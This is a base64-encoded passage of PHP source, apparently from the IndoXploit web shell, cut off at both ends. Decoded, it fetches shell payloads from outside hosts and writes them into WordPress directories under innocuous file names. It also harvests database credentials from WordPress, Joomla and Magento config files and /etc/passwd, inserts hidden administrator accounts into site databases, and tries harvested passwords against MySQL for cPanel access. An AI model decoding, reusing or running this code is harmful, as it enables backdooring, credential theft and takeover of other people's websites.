V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTsJCgkJCQkJCQlpZigkZG9tYWluX2p1bXAgPT0gJycpIHsKCQkJCQkJCQllY2hvICIgPT4gKCA8Zm9udCBjb2xvcj1yZWQ+Z2FiaXNhIGFtYmlsIG5hbWEgZG9tYWluIG55YTwvZm9udD4gKTxicj4iOwoJCQkJCQkJfSBlbHNlIHsKCQkJCQkJCQlwcmVnX21hdGNoX2FsbCgiIy92YXIvbmFtZWQvKC4qPykuZGIjIiwgJGRvbWFpbl9qdW1wLCAkZG9tYWluc19qdW1wKTsKCQkJCQkJCQlmb3JlYWNoKCRkb21haW5zX2p1bXBbMV0gYXMgJGRqKSB7CgkJCQkJCQkJCSR1c2VyX2p1bXBpbmdfdXJsID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8kZGoiKSk7CgkJCQkJCQkJCSR1c2VyX2p1bXBpbmdfdXJsID0gJHVzZXJfanVtcGluZ191cmxbJ25hbWUnXTsKCQkJCQkJCQkJaWYoJHVzZXJfanVtcGluZ191cmwgPT0gJHVzZXJfaWR4X2p1bXApIHsKCQkJCQkJCQkJCWVjaG8gIiA9PiAoIDx1PiRkajwvdT4gKTxicj4iOwoJCQkJCQkJCQkJYnJlYWs7CgkJCQkJCQkJCX0KCQkJCQkJCQl9CgkJCQkJCQl9CgkJCQkJCX0gZWxzZSB7CgkJCQkJCQllY2hvICI8YnI+IjsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCQlpZigkaSA9PSAwKSB7IAoJCX0gZWxzZSB7CgkJCWVjaG8gIjxicj5Ub3RhbCBhZGEgIi4kaS4iIEthbWFyIGRpICIuJGlwOwoJCX0KCQllY2hvICI8L3ByZT4iOwoJfQoJZWNobyAiPC9kaXY+IjsKfQppZigkX0dFVFsnZG8nXSA9PSAnY3JldCcpIHsKZnVuY3Rpb24gZ2V0X2NvbnRlbnRzKCR1cmwpewogICRjaCA9IGN1cmxfaW5pdCgiJHVybCIpOwogIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsKICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAiTW96aWxsYS81LjAoV2luZG93cyBOVCA2LjE7IHJ2OjMyLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMzIuMCIpOwogIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7CiAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsKICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCRHTE9CQUxTWydjb2tpJ10pOwogIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCRHTE9CQUxTWydjb2tpJ10pOwogICRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTsKICByZXR1cm4gJHJlc3VsdDsKfQoKJGhlY2luZGV4ID0gZ2V0X2NvbnRlbnRzKCdodHRwOi8vaW50ZXJjaGVtaWUuY29tLnVhL2xpYnMvbC50eHQnKTsKJGluZGV4eW9sID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvLndlbGwta25vd24vcGtpLXZhbGlkYXRpb24vaW5kZXgucGhwIiA7IAppZiAoZmlsZV9wdXRfY29udGVudHMgKCRpbmRleHlvbCwgJGhlY2luZGV4KSk7CgokaHRhY2Nlc3MgPSBnZXRfY29udGVudHMoJ2h0dHA6Ly9uZG90LnVzL3phJyk7IAokaHRhY2Nlc3NzID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvd3AtaW5jbHVkZXMvcG9tby91bXBvbW9uZS5waHAiIDsKaWYgKGZpbGVfcHV0X2NvbnRlbnRzICgkaHRhY2Nlc3NzLCAkaHRhY2Nlc3MpKTsKCiR3cG9wdGlvbnMgPSBnZXRfY29udGVudHMoJ2h0dHA6Ly9pbnRlcmNoZW1pZS5jb20udWEvbGlicy9sLnR4dCcpOyAKJHdwb3B0aW9uc3MgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gIi93cC1jb250ZW50L3BsdWdpbnMvaGVsbG8ucGhwIiA7CmlmIChmaWxlX3B1dF9jb250ZW50cyAoJHdwb3B0aW9uc3MsICR3cG9wdGlvbnMpKTsKCgokbW9taW5kZXggPSBnZXRfY29udGVudHMoJ2h0dHA6Ly9pbnRlcmNoZW1pZS5jb20udWEvbGlicy9sLnR4dCcpOwokbW9taW5kZXh4ID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvaW5kZWVlZXgucGhwIiA7IAppZiAoZmlsZV9wdXRfY29udGVudHMoJG1vbWluZGV4eCwgJG1vbWluZGV4KSk7CgokbW9kdWxlciA9IGdldF9jb250ZW50cygnaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2luZG94cGxvaXQtY29kZXJzL3RtcC1zaGVsbC9tYXN0ZXIvdG1wLXNoZWxsLnBocCcpOwokbW9kdWxlcnIgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gIi93cC1jb250ZW50L3RoZW1lcy9tb2R1bGtlLnBocCI7CmlmIChmaWxlX3B1dF9jb250ZW50cygkbW9kdWxlcnIsICRtb2R1bGVyKSk7CgovKkJVUkRBTiBZVUtBUkkgUkFORE9NIFNDUiYjMzA0O1BUKi8KLypCVVJEQU4gQSYjMzUwOyYjMzUwO0EmIzI4NjtJU0kgV09SRFBSRVNTUyovCiR3b3JkcHJlc3MgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gIi93cC1jb250ZW50L3RoZW1lcy8iOwppZiAoZmlsZV9leGlzdHMoJHdvcmRwcmVzcykpIHsKCQokd3Btb2R1bDIgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gIi93cC1hZG1pbi9jc3MvY29sb3JzL2JsdWUucGhwIiA7CmlmIChmaWxlX3B1dF9jb250ZW50cygkd3Btb2R1bDIsICRtb2R1bGVyKSk7CmlmKGZpbGVfZXhpc3RzKCR3cG1vZHVsMikpewogICAgZWNobyAic2V4IDEgPC9icj4iOyAKCkBjaG1vZCgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gIi9pbmRlZWVleC5waHAiLCAwNjQ0KTsKQGNobW9kKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAiLy53ZWxsLWtub3duL3BraS12YWxpZGF0aW9uL2luZGV4LnBocCIsIDA2NDQpOwpAY2htb2QoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvd3AtaW5jbHVkZXMvcG9tby91bXBvbW9uZS5waHAiLCAwNjQ0KTsKQGNobW9kKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAiL3dwLWNvbnRlbnQvcGx1Z2lucy9oZWxsby5waHAiLCAwNjQ0KTsKQGNobW9kKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAiL3dwLWFkbWluL2Nzcy9jb2xvcnMvYmx1ZS5waHAiLCAwNjQ0KTsKZWNobyAiSGVjdG9wYXQiLiI8YnI+IjsKCn0KfQoJfWVsc2V7CgkJCQoJCX0KaWYoJF9HRVRbJ2RvJ10gPT0gJ3dwbScpIHsKZWNobyAnCgo8Y2VudGVyPgo8Zm9ybSBtZXRob2Q9InBvc3QiPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29uZmxlZyIgcGxhY2Vob2xkZXI9IkNvbmZpZyBVUkwgSGVyZSI+Cjxicj48YnI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNoeGUiIHZhbHVlPSJTdWJtaXQiPgo8L2Zvcm0+PGJyPjxicj4KJzsKCkBlcnJvcl9yZXBvcnRpbmcoMCk7CkBpbmlfc2V0KCdodG1sX2Vycm9ycycsIDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgMCk7CkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOwpAaW5pX3NldCgnZmlsZV91cGxvYWRzJywgMSk7CiRyYTQ0ID0gcmFuZCgxLCA5OTk5OSk7CmZ1bmN0aW9uIHJhbmRvbU51bWJlcigkbGVuZ3RoKSB7CiAgICAkcmVzdWx0ID0gJyc7CgogICAgZm9yKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7CiAgICAgICAgJHJlc3VsdCAuPSBtdF9yYW5kKDAsIDkpOwogICAgfQoKICAgIHJldHVybiAkcmVzdWx0Owp9CmZ1bmN0aW9uIGh0dHBHZXQoJHVybCkKewogICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICJNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjE7IGVuLVVTOyBydjoxLjguMSkgR2Vja28vMjAwNjEwMTAgRmlyZWZveC8yLjAiKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDEpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRydWUpOwogICAgJG91dHB1dCA9IGN1cmxfZXhlYygkY2gpOwogICAgCiAgICBjdXJsX2Nsb3NlKCRjaCk7CiAgICByZXR1cm4gJG91dHB1dDsKfQoKCiAgICBpZiAoJF9QT1NUWydjaHhlJ10pIHsKICAgICAgICAkZ2V0MiA9IGh0dHBHZXQoJF9QT1NUWydjb25mbGVnJ10pOwogICAgICAgIHByZWdfbWF0Y2hfYWxsKCcjPGEgaHJlZj0iKC4qPykiIycsICRnZXQyLCAkY29uZmlnKTsKICAgICAgICAkY291bnQgPSAxOwogICAgICAgIGZvcmVhY2ggKCRjb25maWdbMV0gYXMgJGRvbikgewogICAgICAgICRrb250b2wgPSAiSjNtYjB0eiI7CiAgICAgICAgJG5nbnRkID0gIi4vTWF3b3R6LU00dzB0eiI7CiAgICAgICAgJGdldCA9IGh0dHBHZXQoJF9QT1NUWydjb25mbGVnJ10gLiAiLyIgLiAkZG9uKTsKICAgICAgICAgICAgaWYocHJlZ19tYXRjaCgnL3RhYmxlX3ByZWZpeC8nLCAkZ2V0KSl7CiAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCcvREJfSE9TVFsiXCddLCBbIlwnXSguKj8pWyJcJ10vJywgJGdldCwgJGhvc3QpOwoKICAgICAgICAgICAgJGRvbjQ0ID0gZW5kKCRob3N0KTsKICAgICAgICAgICAgJGhvc3QgPSBlbmQoJGRvbjQ0KTsKICAgICAgICAgICAgICAgICNlY2hvICRob3N0OwogICAgICAgICAgICAKICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJy9EQl9QQVNTV09SRFsiXCddLCBbIlwnXSguKj8pWyJcJ10vJywgJGdldCwgJHBhc3MpOwoKICAgICAgICAgICAgJGRvbmUgPSBlbmQoJHBhc3MpOwogICAgICAgICAgICAkcGFzc3dvcmQgPSBlbmQoJGRvbmUpOwogICAgICAgICAgICAjZWNobyAkcGFzc3dvcmQuIjxicj4iOwogICAgICAgICAgICAKICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJy9EQl9VU0VSWyJcJ10sIFsiXCddKC4qPylbIlwnXS8nLCAkZ2V0LCAkdXNlcik7CiAKICAgICAgICAgICAgJGRvbmUxID0gZW5kKCR1c2VyKTsKICAgICAgICAgICAgJHVzZXIgPSBlbmQoJGRvbmUxKTsKICAgICAgICAgICAgICAgICNlY2hvICR1c2VyOwoKICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJy9EQl9OQU1FWyJcJ10sIFsiXCddKC4qPylbIlwnXS8nLCAkZ2V0LCAkbmFtZSk7CgogICAgICAgICAgICAkZG9uZTIgPSBlbmQoJG5hbWUpOwogICAgICAgICAgICAkbmFtZSA9IGVuZCgkZG9uZTIpOwogICAgICAgICAgICAgICAgI2VjaG8gJG5hbWU7CgogICAgICAgICAgICAkZ2V0MjMgPSBwcmVnX3JlcGxhY2UoJy9bXHMkQF8qXSsvJywgJ18nLCAkZ2V0KTsKICAgICAgICAgICAgI2VjaG8oJGdldDIzKTsKICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoIi90YWJsZV9wcmVmaXhfPV9bJ1wiXSguKj8pWydcIl0vIiwgJGdldDIzLCAkcHJlZml4KTsKICAgICAgICAgICAgJGRvbmUzID0gZW5kKCRwcmVmaXgpOwogICAgICAgICAgICAkcHJlZml4ID0gZW5kKCRkb25lMyk7CiAgICAgICAgICAgICNlY2hvICRwcmVmaXg7CiAgICAgICAgICAgICRjb25uZWN0ID0gbXlzcWxpX2Nvbm5lY3QoJGhvc3QsICR1c2VyLCAkcGFzc3dvcmQsICRuYW1lKTsKICAgICAgICAgICAgaWYgKCRjb25uZWN0KSB7CiAgICAgICAgICAgICAgICAkcXVlcnkxID0gbXlzcWxpX3F1ZXJ5KCRjb25uZWN0LCAic2VsZWN0ICogZnJvbSAiIC4gJHByZWZpeCAuICJvcHRpb25zIHdoZXJlIG9wdGlvbl9uYW1lPSdzaXRldXJsJyIpOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICB3aGlsZSAoJHNpdGV1cmwgPSBteXNxbGlfZmV0Y2hfYXJyYXkoJHF1ZXJ5MSkpIHsKICAgICAgICAgICAgICAgICAgICAkc2l0ZV91cmwgPSAkc2l0ZXVybFsnb3B0aW9uX3ZhbHVlJ107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkcXVlcnkyID0gbXlzcWxpX3F1ZXJ5KCRjb25uZWN0LCAiSU5TRVJUIElOVE8gIiAuICRwcmVmaXggLiAidXNlcnMgKGBJRGAsIGB1c2VyX2xvZ2luYCwgYHVzZXJfcGFzc2AsIGB1c2VyX25pY2VuYW1lYCwgYHVzZXJfZW1haWxgLCBgdXNlcl91cmxgLCBgdXNlcl9yZWdpc3RlcmVkYCwgYHVzZXJfYWN0aXZhdGlvbl9rZXlgLCBgdXNlcl9zdGF0dXNgLCBgZGlzcGxheV9uYW1lYCkgVkFMVUVTICgnIiAuICRyYTQ0IC4gIicsICciLiRrb250b2wuIicsICciLm1kNSgkbmdudGQpLiInLCAnYWRtaW5zJywgJ3lvcmFuZ29ub21ib3RAZ21haWwuY29tJywgJ2h0dHA6Ly93d3cudGVzdC5jb20vJywgJzIwMTEtMDYtMDcgMDA6MDA6MDAnLCAnJywgJzAnLCAnYWRtaW5zJykiKTsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgJHF1ZXJ5MyA9IG15c3FsaV9xdWVyeSgkY29ubmVjdCwgIklOU0VSVCBJTlRPICIgLiAkcHJlZml4IC4gInVzZXJtZXRhIChgdW1ldGFfaWRgLCBgdXNlcl9pZGAsIGBtZXRhX2tleWAsIGBtZXRhX3ZhbHVlYCkgVkFMVUVTIChOVUxMLCAnIiAuICRyYTQ0IC4gIicsICciIC4gJHByZWZpeCAuICJjYXBhYmlsaXRpZXMnLCAnIiAuICdhOjE6e3M6MTM6ImFkbWluaXN0cmF0b3IiO3M6MToiMSI7fScgLiAiJykiKTsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgJHF1ZXJ5NCA9IG15c3FsaV9xdWVyeSgkY29ubmVjdCwgIklOU0VSVCBJTlRPICIgLiAkcHJlZml4IC4gInVzZXJtZXRhIChgdW1ldGFfaWRgLCBgdXNlcl9pZGAsIGBtZXRhX2tleWAsIGBtZXRhX3ZhbHVlYCkgVkFMVUVTIChOVUxMLCAnIiAuICRyYTQ0IC4gIicsICciIC4gJHByZWZpeCAuICJ1c2VyX2xldmVsJywgJzEwJykiKTsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBpZiAoJHF1ZXJ5MikgewogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzcGFuIGNsYXNzPWY+PGI+Tk88Yj4gIiAuICRjb3VudCAuICIgIDo8YSBocmVmPSckc2l0ZV91cmwvd3AtbG9naW4ucGhwIyIuJGtvbnRvbC4iQCIuJG5nbnRkLiInIHRhcmdldD0nX2JsYW5rJz4kc2l0ZV91cmwvd3AtbG9naW4ucGhwPC9hPnwiLiRrb250b2wuInwiLiRuZ250ZC4iPGJyPjwvc3Bhbj4iOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgJGFuamd0b2wgPSAkX1BPU1RbJ2NvbmZsZWdzJ10gLiAiLyIgLiAkZG9uOwogICAgICAgICAgICAgICAgICAgICNwcmludF9yKCRkb24pOwogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzcGFuIGNsYXNzPWY+PGI+Tk88Yj4gIiAuICRjb3VudCAuICIgIDo8YSBocmVmPSckYW5qZ3RvbCcgdGFyZ2V0PSdfYmxhbmsnPiRkb24gLS0+IEVSUk9SIE1BS0UgVVNFUjxicj48L3NwYW4+IjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRjb3VudCA9ICRjb3VudCArIDE7CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgICRhbmpndG9sID0gJF9QT1NUWydjb25mbGVncyddIC4gIi8iIC4gJGRvbjsKICAgICAgICAgICAgICAgICAgICAjcHJpbnRfcigkZG9uKTsKICAgICAgICAgICAgICAgICAgICBlY2hvICI8c3BhbiBjbGFzcz1mPjxiPk5PPGI+ICIgLiAkY291bnQgLiAiICA6PGEgaHJlZj0nJGFuamd0b2wnIHRhcmdldD0nX2JsYW5rJz4kZG9uIC0tPiBFUlJPUiBTUUw8YnI+PC9zcGFuPiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCX0KfQoJfWVsc2V7CgkJCQoJCX0KaWYoJF9HRVRbJ2RvJ10gPT0gJ3RvbGxzJykgewoJaWYoJF9QT1NUWydjcmFjayddKSB7CgkJJHVzZXJjcCA9IGV4cGxvZGUoIlxyXG4iLCAkX1BPU1RbJ3VzZXJfY3AnXSk7CgkJJHBhc3NjcCA9IGV4cGxvZGUoIlxyXG4iLCAkX1BPU1RbJ3Bhc3NfY3AnXSk7CgkJJGkgPSAwOwoJCWZvcmVhY2goJHVzZXJjcCBhcyAkdWNwKSB7CgkJCWZvcmVhY2goJHBhc3NjcCBhcyAkcGNwKSB7CgkJCQlpZihAbXlzcWxpX2Nvbm5lY3QoJ2xvY2FsaG9zdCcsICR1Y3AsICRwY3ApKSB7CgkJCQkJaWYoJF9TRVNTSU9OWyR1Y3BdICYmICRfU0VTU0lPTlskcGNwXSkgewoJCQkJCX0gZWxzZSB7CgkJCQkJCSRfU0VTU0lPTlskdWNwXSA9ICIxIjsKCQkJCQkJJF9TRVNTSU9OWyRwY3BdID0gIjEiOwoJCQkJCQlpZigkdWNwID09ICcnIHx8ICRwY3AgPT0gJycpIHsKCQkJCQkJCQoJCQkJCQl9IGVsc2UgewoJCQkJCQkJJGkrKzsKCQkJCQkJCWlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgewoJCQkJCQkJCSRkb21haW5fY3AgPSBmaWxlX2dldF9jb250ZW50cygiL2V0Yy9uYW1lZC5jb25mIik7CQoJCQkJCQkJCWlmKCRkb21haW5fY3AgPT0gJycpIHsKCQkJCQkJCQkJJGRvbSA9ICAiPGZvbnQgY29sb3I9cmVkPmdhYmlzYSBhbWJpbCBuYW1hIGRvbWFpbiBueWE8L2ZvbnQ+IjsKCQkJCQkJCQl9IGVsc2UgewoJCQkJCQkJCQlwcmVnX21hdGNoX2FsbCgiIy92YXIvbmFtZWQvKC4qPykuZGIjIiwgJGRvbWFpbl9jcCwgJGRvbWFpbnNfY3ApOwoJCQkJCQkJCQlmb3JlYWNoKCRkb21haW5zX2NwWzFdIGFzICRkaikgewoJCQkJCQkJCQkJJHVzZXJfY3BfdXJsID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8kZGoiKSk7CgkJCQkJCQkJCQkkdXNlcl9jcF91cmwgPSAkdXNlcl9jcF91cmxbJ25hbWUnXTsKCQkJCQkJCQkJCWlmKCR1c2VyX2NwX3VybCA9PSAkdWNwKSB7CgkJCQkJCQkJCQkJJGRvbSA9ICI8YSBocmVmPSdodHRwOi8vJGRqLycgdGFyZ2V0PSdfYmxhbmsnPjxmb250IGNvbG9yPWxpbWU+JGRqPC9mb250PjwvYT4iOwoJCQkJCQkJCQkJCWJyZWFrOwoJCQkJCQkJCQkJfQoJCQkJCQkJCQl9CgkJCQkJCQkJfQoJCQkJCQkJfSBlbHNlIHsKCQkJCQkJCQkkZG9tID0gIjxmb250IGNvbG9yPXJlZD5mdW5jdGlvbiBpcyBEaXNhYmxlIGJ5IHN5c3RlbTwvZm9udD4iOwoJCQkJCQkJfQoJCQkJCQkJZWNobyAiVVNBIHwgQ1BBTkVMIHwgRlJFU0ggQU5EIFZBTElEIDEwMCUgfCBodHRwOi8vJGRvbToyMDgyIHwgJHVjcCB8ICRwY3AgfCA2LjAwPGJyPiI7CgkJCQkJCX0KCQkJCQl9CgkJCQl9CgkJCX0KCQl9CgkJaWYoJGkgPT0gMCkgewoJCX0gZWxzZSB7CgkJCWVjaG8gIjxicj5zdWtzZXMgbnlvbG9uZyAiLiRpLiIgQ3BhbmVsIGJ5IDxmb250IGNvbG9yPWxpbWU+SW5kb1hwbG9pdC48L2ZvbnQ+IjsKCQl9Cgl9IGVsc2UgewoJCWVjaG8gIjxjZW50ZXI+CgkJPGZvcm0gbWV0aG9kPSdwb3N0Jz4KCQlVU0VSOiA8YnI+CgkJPHRleHRhcmVhIHN0eWxlPSd3aWR0aDogNDUwcHg7IGhlaWdodDogMTUwcHg7JyBuYW1lPSd1c2VyX2NwJz4iOwoJCSRfdXNlcmNwID0gZm9wZW4oIi9ldGMvcGFzc3dkIiwiciIpOwoJCXdoaWxlKCRnZXR1ID0gZmdldHMoJF91c2VyY3ApKSB7CgkJCWlmKCRnZXR1ID09ICcnIHx8ICEkX3VzZXJjcCkgewoJCQkJZWNobyAiPGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+IjsKCQkJfSBlbHNlIHsKCQkJCXByZWdfbWF0Y2hfYWxsKCIvKC4qPyk6eDovIiwgJGdldHUsICR1KTsKCQkJCWZvcmVhY2goJHVbMV0gYXMgJHVzZXJfY3ApIHsKCQkJCQkJaWYoaXNfZGlyKCIvaG9tZS8kdXNlcl9jcC9wdWJsaWNfaHRtbCIpKSB7CgkJCQkJCQllY2hvICIkdXNlcl9jcFxuIjsKCQkJCQl9CgkJCQl9CgkJCX0KCQl9CgkJZWNobyAiPC90ZXh0YXJlYT48YnI+CgkJUEFTUzogPGJyPgoJCTx0ZXh0YXJlYSBzdHlsZT0nd2lkdGg6IDQ1MHB4OyBoZWlnaHQ6IDIwMHB4OycgbmFtZT0ncGFzc19jcCc+IjsKCQlmdW5jdGlvbiBjcF9wYXNzKCRhc3VpKSB7CgkJCSRwYXNzID0gIiI7CgkJCSRkaXJhID0gc2NhbmRpcigkYXN1aSk7CgkJCWZvcmVhY2goJGRpcmEgYXMgJGRpcmIpIHsKCQkJCWlmKCFpc19maWxlKCIkZGlyLyRkaXJiIikpIGNvbnRpbnVlOwoJCQkJJGFtYmlsID0gZmlsZV9nZXRfY29udGVudHMoIiRkaXIvJGRpcmIiKTsKCQkJCWlmKHByZWdfbWF0Y2goIi9Xb3JkUHJlc3MvIiwgJGFtYmlsKSkgewoJCQkJCSRwYXNzIC49IGFtYmlsa2F0YSgkYW1iaWwsIkRCX1BBU1NXT1JEJywgJyIsIiciKS4iXG4iOwoJCQkJfSBlbHNlaWYocHJlZ19tYXRjaCgiL0pDb25maWd8am9vbWxhLyIsICRhbWJpbCkpIHsKCQkJCQkkcGFzcyAuPSBhbWJpbGthdGEoJGFtYmlsLCJwYXNzd29yZCA9ICciLCInIikuIlxuIjsKCQkJCX0gZWxzZWlmKHByZWdfbWF0Y2goIi9NYWdlbnRvfE1hZ2VfQ29yZS8iLCAkYW1iaWwpKSB7CgkJCQkJJHBhc3MgLj0gYW1iaWxrYXRhKCRhbWJpbCwiPHBhc3N3b3JkPjwhW0NEQVRBWyIsIl1dPjwvcGFzc3dvcmQ+IikuIlxuIjsKCQkJCX0gZWxzZWlmKHByZWdfbWF0Y2goIi9wYW5nZ2lsIGZ1bmdzaSB2YWxpZGFzaSB4c3MgZGFuIGluamVjdGlvbi8iLCAkYW1iaWwpKSB7CgkJCQkJJHBhc3MgLj0gYW1iaWxrYXRhKCRhbWJpbCwncGFzc3dvcmQgPSAiJywnIicpLiJcbiI7CgkJCQl9IGVsc2VpZihwcmVnX21hdGNoKCIvSFRUUF9TRVJWRVJ8SFRUUF9DQVRBTE9HfERJUl9DT05GSUd8RElSX1NZU1RFTS8iLCAkYW1iaWwpKSB7CgkJCQkJJHBhc3MgLj0gYW1iaWxrYXRhKCRhbWJpbCwiJ0RCX1BBU1NXT1JEJywgJyIsIiciKS4iXG4iOwoJCQkJfSBlbHNlaWYocHJlZ19tYXRjaCgiL15bY2xpZW50XSQvIiwgJGFtYmlsKSkgewoJCQkJCXByZWdfbWF0Y2goIi9wYXNzd29yZD0oLio/KS8iLCAkYW1iaWwsICRwYXNzMSk7CgkJCQkJaWYocHJlZ19tYXRjaCgnLyIvJywgJHBhc3MxWzFdKSkgewoJCQkJCQkkcGFzczFbMV0gPSBzdHJfcmVwbGFjZSgnIicsICIiLCAkcGFzczFbMV0pOwoJCQkJCQkkcGFzcyAuPSAkcGFzczFbMV0uIlxuIjsKCQkJCQl9IGVsc2UgewoJCQkJCQkkcGFzcyAuPSAkcGFzczFbMV0uIlxuIjsKCQkJCQl9CgkJCQl9IGVsc2VpZihwcmVnX21hdGNoKCIvY2NfZW5jcnlwdGlvbl9oYXNoLyIsICRhbWJpbCkpIHsKCQkJCQkkcGFzcyAuPSBhbWJpbGthdGEoJGFtYmlsLCJkYl9wYXNzd29yZCA9ICciLCInIikuIlxuIjsKCQkJCX0KCQkJfQoJCQllY2hvICRwYXNzOwoJCX0KCQkkY3BfcGFzcyA9IGNwX3Bhc3MoJGFzdWkpOwoJCWVjaG8gJGNwX3Bhc3M7CgkJZWNobyAiPC90ZXh0YXJlYT48YnI+CgkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nY3JhY2snIHN0eWxlPSd3aWR0aDogNDUwcHg7JyB2YWx1ZT0nQ3JhY2snPgoJCTwvZm9ybT4KCQk8c3Bhbj5OQjogQ1BhbmVsIENyYWNrIGluaSBzdWRhaCBhdXRvIGdldCBwYXNzd29yZCAoIHBha2UgZGIgcGFzc3dvcmQgKSBtYWthIGFrYW4gd29yayBqaWthIGRpamFsYW5rYW4gZGkgZGFsYW0gZm9sZGVyIDx1PmNvbmZpZzwvdT4gKCBleDogL2hvbWUvdXNlci9wdWJsaWNfaHRtbC9uYW1hX2ZvbGRlcl9jb25maWcgKTwvc3Bhbj48YnI+PC9jZW50ZXI+IjsKCX0KfQppZigkX0dFVFsnZG8nXSA9PSAnUkRQJykgewplY2hvICc8cD4tfCBDcmVhdGUgUkRQICB8LTwvcD4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+VXNlciA6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXJuYW1lIiByZXF1aXJlZD4gUGFzcyA6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhc3N3b3JkIiByZXF1aXJlZD4gPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ia3NoZWxsIiB2YWx1ZT0iMSI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iPj4iPgo8L2Zvcm0+CjwvZGl2PgoKPGNlbnRlcj4KPGRpdiBpZD0iY29udGVudC1jZW50ZXIiPgo8cD4teyBPcHRpb24gfS08L3A+Cjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJydXNlcm5hbWUiIHBsYWNlaG9sZGVyPSJNYXN1a2FuIFVzZXJuYW1lIj4gPHNlbGVjdCBuYW1lPSJha3NpIj4KCQkJCQkJPG9wdGlvbiB2YWx1ZT0iMSI+VGFtcGlsa2FuIFVzZXJuYW1lPC9vcHRpb24+CgkJCQkJCTxvcHRpb24gdmFsdWU9IjIiPkhhcHVzIFVzZXJuYW1lPC9vcHRpb24+CgkJCQkJCTxvcHRpb24gdmFsdWU9IjMiPlViYWggUGFzc3dvcmQ8L29wdGlvbj4KCQkJCTwvc2VsZWN0Pgo8aW5wdXQgdHlwZT0ia